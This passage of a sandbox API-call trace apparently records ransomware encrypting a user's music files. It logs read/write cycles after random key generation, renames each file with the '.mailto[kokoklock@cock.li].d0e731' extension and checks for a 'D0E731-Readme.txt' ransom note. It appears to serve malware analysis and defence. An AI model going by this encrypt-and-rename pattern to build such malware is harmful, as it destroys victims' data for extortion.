Size=0x40) returned 0x2f874b8 [0175.286] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30134b8 [0175.286] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054078 [0175.286] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054078) returned 1 [0175.287] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe5830 [0175.287] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054168 [0175.287] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054078 [0175.287] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054078) returned 1 [0175.287] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30134b8) returned 1 [0175.287] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f874b8) returned 1 [0175.287] WriteFile (in: hFile=0x3c0, lpBuffer=0x2fe5830*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x22c7fb84, lpOverlapped=0x0 | out: lpBuffer=0x2fe5830*, lpNumberOfBytesWritten=0x22c7fb84*=0x4096, lpOverlapped=0x0) returned 1 [0175.287] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe5830) returned 1 [0175.287] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x5282, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.287] WriteFile (in: hFile=0x3c0, lpBuffer=0x3054168*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x22c7fbbc, lpOverlapped=0x0 | out: lpBuffer=0x3054168*, lpNumberOfBytesWritten=0x22c7fbbc*=0x20, lpOverlapped=0x0) returned 1 [0175.288] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054168) returned 1 [0175.288] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0175.288] WriteFile (in: hFile=0x3c0, lpBuffer=0x3054050*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x22c7fbd0, lpOverlapped=0x0 | out: lpBuffer=0x3054050*, lpNumberOfBytesWritten=0x22c7fbd0*=0x8, lpOverlapped=0x0) returned 1 [0175.288] WriteFile (in: hFile=0x3c0, lpBuffer=0x22c7fbe8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x22c7fbd0, lpOverlapped=0x0 | out: lpBuffer=0x22c7fbe8*, lpNumberOfBytesWritten=0x22c7fbd0*=0x4, lpOverlapped=0x0) returned 1 [0175.288] WriteFile (in: hFile=0x3c0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x22c7fbd0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x22c7fbd0*=0x4, lpOverlapped=0x0) returned 1 [0175.288] WriteFile (in: hFile=0x3c0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x22c7fbd0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x22c7fbd0*=0x6c, lpOverlapped=0x0) returned 1 [0175.288] WriteFile (in: hFile=0x3c0, lpBuffer=0x3054190*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x22c7fbd0, lpOverlapped=0x0 | out: lpBuffer=0x3054190*, lpNumberOfBytesWritten=0x22c7fbd0*=0x20, lpOverlapped=0x0) returned 1 [0175.288] WriteFile (in: hFile=0x3c0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x22c7fbd0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x22c7fbd0*=0x4, lpOverlapped=0x0) returned 1 [0175.288] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054190) returned 1 [0175.289] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30542f8) returned 1 [0175.289] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054050) returned 1 [0175.289] CloseHandle (hObject=0x3c0) returned 1 [0175.289] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x116) returned 0x2f95940 [0175.289] wcscpy (in: _Dest=0x2f95940, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\-zXptQeotk2t.m4a.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\-zXptQeotk2t.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\-zXptQeotk2t.m4a.mailto[kokoklock@cock.li].d0e731" [0175.289] wcscat (in: _Dest=0x2f95940, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\-zXptQeotk2t.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\-zXptQeotk2t.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0175.289] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\-zXptQeotk2t.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\ion-zuuuu rn3l18\\-zxptqeotk2t.m4a.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\-zXptQeotk2t.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\ion-zuuuu rn3l18\\-zxptqeotk2t.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0175.290] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\-zXptQeotk2t.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.290] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95940) returned 1 [0175.290] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\-zXptQeotk2t.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.290] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x96) returned 0x2fa2bd8 [0175.290] wcscpy (in: _Dest=0x2fa2bd8, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\" [0175.290] wcscat (in: _Dest=0x2fa2bd8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\D0E731-Readme.txt" [0175.290] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\ion-zuuuu rn3l18\\d0e731-readme.txt")) returned 0x20 [0175.291] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2bd8) returned 1 [0175.291] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97d78) returned 1 [0175.291] RtlExitUserThread (Status=0x1) Thread: id = 2426 os_tid = 0x918 [0175.294] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\bp18etyN.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\ion-zuuuu rn3l18\\bp18etyn.m4a.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.294] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\bp18etyN.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.294] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\bp18etyN.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\ion-zuuuu rn3l18\\bp18etyn.m4a.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0175.294] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x22cffee0 | out: lpFileSize=0x22cffee0*=90777) returned 1 [0175.295] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x16295, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.295] ReadFile (in: hFile=0x3c0, lpBuffer=0x22cffeb4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x22cffeb0, lpOverlapped=0x0 | out: lpBuffer=0x22cffeb4*, lpNumberOfBytesRead=0x22cffeb0*=0x4, lpOverlapped=0x0) returned 1 [0175.297] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.297] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054050 [0175.297] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30540c8 [0175.297] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30542f8 [0175.297] NtQuerySystemTime (in: CurrentTime=0x22cffe8c | out: CurrentTime=0x22cffe8c*=132121213326076922) returned 0x0 [0175.297] RtlRandom (in: Seed=0x22cffe98 | out: Seed=0x22cffe98) returned 0x60d2796 [0175.297] RtlRandom (in: Seed=0x22cffe98 | out: Seed=0x22cffe98) returned 0x669672b6 [0175.297] RtlRandom (in: Seed=0x22cffe98 | out: Seed=0x22cffe98) returned 0xab2eea0c [0175.297] RtlRandom (in: Seed=0x22cffe98 | out: Seed=0x22cffe98) returned 0x6c1cedbf [0175.297] RtlRandom (in: Seed=0x22cffe98 | out: Seed=0x22cffe98) returned 0xd627eb8d [0175.297] RtlRandom (in: Seed=0x22cffe98 | out: Seed=0x22cffe98) returned 0x60ba45df [0175.297] RtlRandom (in: Seed=0x22cffe98 | out: Seed=0x22cffe98) returned 0x7034a94f [0175.297] RtlRandom (in: Seed=0x22cffe98 | out: Seed=0x22cffe98) returned 0xd90e408a [0175.297] RtlRandom (in: Seed=0x22cffe98 | out: Seed=0x22cffe98) returned 0x35de1be7 [0175.297] RtlRandom (in: Seed=0x22cffe98 | out: Seed=0x22cffe98) returned 0xcb6b4eb3 [0175.297] RtlRandom (in: Seed=0x22cffe98 | out: Seed=0x22cffe98) returned 0xa459093a [0175.297] RtlRandom (in: Seed=0x22cffe98 | out: Seed=0x22cffe98) returned 0xf0be42f5 [0175.297] RtlRandom (in: Seed=0x22cffe98 | out: Seed=0x22cffe98) returned 0x608790b5 [0175.297] RtlRandom (in: Seed=0x22cffe98 | out: Seed=0x22cffe98) returned 0x617771e3 [0175.297] RtlRandom (in: Seed=0x22cffe98 | out: Seed=0x22cffe98) returned 0x9b46f9db [0175.297] RtlRandom (in: Seed=0x22cffe98 | out: Seed=0x22cffe98) returned 0xf9782bae [0175.297] RtlRandom (in: Seed=0x22cffe98 | out: Seed=0x22cffe98) returned 0xa3636e30 [0175.297] RtlRandom (in: Seed=0x22cffe98 | out: Seed=0x22cffe98) returned 0xf2acc54d [0175.298] RtlRandom (in: Seed=0x22cffe98 | out: Seed=0x22cffe98) returned 0x89b59575 [0175.298] RtlRandom (in: Seed=0x22cffe98 | out: Seed=0x22cffe98) returned 0xeadc9a5e [0175.298] RtlRandom (in: Seed=0x22cffe98 | out: Seed=0x22cffe98) returned 0x63ff61d2 [0175.298] RtlRandom (in: Seed=0x22cffe98 | out: Seed=0x22cffe98) returned 0xea1ec2a3 [0175.298] RtlRandom (in: Seed=0x22cffe98 | out: Seed=0x22cffe98) returned 0x25c0ab01 [0175.298] RtlRandom (in: Seed=0x22cffe98 | out: Seed=0x22cffe98) returned 0x32350e4 [0175.298] RtlRandom (in: Seed=0x22cffe98 | out: Seed=0x22cffe98) returned 0x1d81ca1 [0175.298] RtlRandom (in: Seed=0x22cffe98 | out: Seed=0x22cffe98) returned 0x3401b1f1 [0175.298] RtlRandom (in: Seed=0x22cffe98 | out: Seed=0x22cffe98) returned 0x7da1c51a [0175.298] RtlRandom (in: Seed=0x22cffe98 | out: Seed=0x22cffe98) returned 0xeae7cb1d [0175.298] RtlRandom (in: Seed=0x22cffe98 | out: Seed=0x22cffe98) returned 0x10ba6088 [0175.298] RtlRandom (in: Seed=0x22cffe98 | out: Seed=0x22cffe98) returned 0x816a0c34 [0175.298] RtlRandom (in: Seed=0x22cffe98 | out: Seed=0x22cffe98) returned 0xdb9823d4 [0175.298] RtlRandom (in: Seed=0x22cffe98 | out: Seed=0x22cffe98) returned 0x19b74b3f [0175.309] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.309] ReadFile (in: hFile=0x3c0, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x22cffe64, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x22cffe64*=0x4096, lpOverlapped=0x0) returned 1 [0175.309] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.309] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0175.309] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013350 [0175.309] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054050 [0175.309] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054050) returned 1 [0175.310] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe5830 [0175.310] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054050 [0175.310] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30540a0 [0175.310] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30540a0) returned 1 [0175.310] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013350) returned 1 [0175.310] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0175.310] WriteFile (in: hFile=0x3c0, lpBuffer=0x2fe5830*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x22cffe64, lpOverlapped=0x0 | out: lpBuffer=0x2fe5830*, lpNumberOfBytesWritten=0x22cffe64*=0x4096, lpOverlapped=0x0) returned 1 [0175.310] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe5830) returned 1 [0175.310] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x16299, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.310] WriteFile (in: hFile=0x3c0, lpBuffer=0x3054050*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x22cffe9c, lpOverlapped=0x0 | out: lpBuffer=0x3054050*, lpNumberOfBytesWritten=0x22cffe9c*=0x20, lpOverlapped=0x0) returned 1 [0175.311] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054050) returned 1 [0175.311] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0175.311] WriteFile (in: hFile=0x3c0, lpBuffer=0x3054078*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x22cffeb0, lpOverlapped=0x0 | out: lpBuffer=0x3054078*, lpNumberOfBytesWritten=0x22cffeb0*=0x8, lpOverlapped=0x0) returned 1 [0175.311] WriteFile (in: hFile=0x3c0, lpBuffer=0x22cffec8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x22cffeb0, lpOverlapped=0x0 | out: lpBuffer=0x22cffec8*, lpNumberOfBytesWritten=0x22cffeb0*=0x4, lpOverlapped=0x0) returned 1 [0175.312] WriteFile (in: hFile=0x3c0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x22cffeb0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x22cffeb0*=0x4, lpOverlapped=0x0) returned 1 [0175.312] WriteFile (in: hFile=0x3c0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x22cffeb0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x22cffeb0*=0x6c, lpOverlapped=0x0) returned 1 [0175.312] WriteFile (in: hFile=0x3c0, lpBuffer=0x30540c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x22cffeb0, lpOverlapped=0x0 | out: lpBuffer=0x30540c8*, lpNumberOfBytesWritten=0x22cffeb0*=0x20, lpOverlapped=0x0) returned 1 [0175.312] WriteFile (in: hFile=0x3c0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x22cffeb0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x22cffeb0*=0x4, lpOverlapped=0x0) returned 1 [0175.312] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30540c8) returned 1 [0175.312] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054168) returned 1 [0175.312] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054078) returned 1 [0175.312] CloseHandle (hObject=0x3c0) returned 1 [0175.312] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10e) returned 0x305da70 [0175.312] wcscpy (in: _Dest=0x305da70, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\bp18etyN.m4a.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\bp18etyN.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\bp18etyN.m4a.mailto[kokoklock@cock.li].d0e731" [0175.312] wcscat (in: _Dest=0x305da70, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\bp18etyN.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\bp18etyN.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0175.312] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\bp18etyN.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\ion-zuuuu rn3l18\\bp18etyn.m4a.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\bp18etyN.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\ion-zuuuu rn3l18\\bp18etyn.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0175.313] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\bp18etyN.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.313] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305da70) returned 1 [0175.313] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\bp18etyN.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.314] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x96) returned 0x2fa2a98 [0175.314] wcscpy (in: _Dest=0x2fa2a98, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\" [0175.314] wcscat (in: _Dest=0x2fa2a98, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\D0E731-Readme.txt" [0175.314] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\ion-zuuuu rn3l18\\d0e731-readme.txt")) returned 0x20 [0175.314] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2a98) returned 1 [0175.314] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1520) returned 1 [0175.314] RtlExitUserThread (Status=0x1) Thread: id = 2427 os_tid = 0x8e4 [0175.315] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\fhfdqbFpa04KkHX10.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\ion-zuuuu rn3l18\\fhfdqbfpa04kkhx10.mp3.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.316] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\fhfdqbFpa04KkHX10.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.316] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\fhfdqbFpa04KkHX10.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\ion-zuuuu rn3l18\\fhfdqbfpa04kkhx10.mp3.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0175.316] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x22d7fef4 | out: lpFileSize=0x22d7fef4*=57621) returned 1 [0175.316] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0xe111, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.316] ReadFile (in: hFile=0x3c0, lpBuffer=0x22d7fec8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x22d7fec4, lpOverlapped=0x0 | out: lpBuffer=0x22d7fec8*, lpNumberOfBytesRead=0x22d7fec4*=0x4, lpOverlapped=0x0) returned 1 [0175.317] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.317] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054050 [0175.317] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054078 [0175.317] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30540a0 [0175.317] NtQuerySystemTime (in: CurrentTime=0x22d7fea0 | out: CurrentTime=0x22d7fea0*=132121213326389534) returned 0x0 [0175.317] RtlRandom (in: Seed=0x22d7feac | out: Seed=0x22d7feac) returned 0x289efb58 [0175.317] RtlRandom (in: Seed=0x22d7feac | out: Seed=0x22d7feac) returned 0xcd817621 [0175.317] RtlRandom (in: Seed=0x22d7feac | out: Seed=0x22d7feac) returned 0xa388c53f [0175.317] RtlRandom (in: Seed=0x22d7feac | out: Seed=0x22d7feac) returned 0x52426da2 [0175.317] RtlRandom (in: Seed=0x22d7feac | out: Seed=0x22d7feac) returned 0xae803c3 [0175.317] RtlRandom (in: Seed=0x22d7feac | out: Seed=0x22d7feac) returned 0x79b4d7d9 [0175.317] RtlRandom (in: Seed=0x22d7feac | out: Seed=0x22d7feac) returned 0xfba5395d [0175.317] RtlRandom (in: Seed=0x22d7feac | out: Seed=0x22d7feac) returned 0xb91b0755 [0175.317] RtlRandom (in: Seed=0x22d7feac | out: Seed=0x22d7feac) returned 0x8d36f7bd [0175.317] RtlRandom (in: Seed=0x22d7feac | out: Seed=0x22d7feac) returned 0x6ff5f993 [0175.317] RtlRandom (in: Seed=0x22d7feac | out: Seed=0x22d7feac) returned 0x3b3d0783 [0175.317] RtlRandom (in: Seed=0x22d7feac | out: Seed=0x22d7feac) returned 0xbae5dfe0 [0175.317] RtlRandom (in: Seed=0x22d7feac | out: Seed=0x22d7feac) returned 0x3e4c7aa6 [0175.317] RtlRandom (in: Seed=0x22d7feac | out: Seed=0x22d7feac) returned 0x1abe9808 [0175.318] RtlRandom (in: Seed=0x22d7feac | out: Seed=0x22d7feac) returned 0x9fa451b2 [0175.318] RtlRandom (in: Seed=0x22d7feac | out: Seed=0x22d7feac) returned 0xf0b31853 [0175.318] RtlRandom (in: Seed=0x22d7feac | out: Seed=0x22d7feac) returned 0xa04c1476 [0175.318] RtlRandom (in: Seed=0x22d7feac | out: Seed=0x22d7feac) returned 0x12a47b86 [0175.318] RtlRandom (in: Seed=0x22d7feac | out: Seed=0x22d7feac) returned 0x2696855c [0175.318] RtlRandom (in: Seed=0x22d7feac | out: Seed=0x22d7feac) returned 0xe6f550f8 [0175.318] RtlRandom (in: Seed=0x22d7feac | out: Seed=0x22d7feac) returned 0x2e54fadb [0175.318] RtlRandom (in: Seed=0x22d7feac | out: Seed=0x22d7feac) returned 0xb1171efd [0175.318] RtlRandom (in: Seed=0x22d7feac | out: Seed=0x22d7feac) returned 0xab280842 [0175.318] RtlRandom (in: Seed=0x22d7feac | out: Seed=0x22d7feac) returned 0xcafe7c04 [0175.318] RtlRandom (in: Seed=0x22d7feac | out: Seed=0x22d7feac) returned 0xbec1c896 [0175.318] RtlRandom (in: Seed=0x22d7feac | out: Seed=0x22d7feac) returned 0xbbc06cc2 [0175.318] RtlRandom (in: Seed=0x22d7feac | out: Seed=0x22d7feac) returned 0x98196583 [0175.318] RtlRandom (in: Seed=0x22d7feac | out: Seed=0x22d7feac) returned 0x5dcd5163 [0175.318] RtlRandom (in: Seed=0x22d7feac | out: Seed=0x22d7feac) returned 0xb4b52562 [0175.318] RtlRandom (in: Seed=0x22d7feac | out: 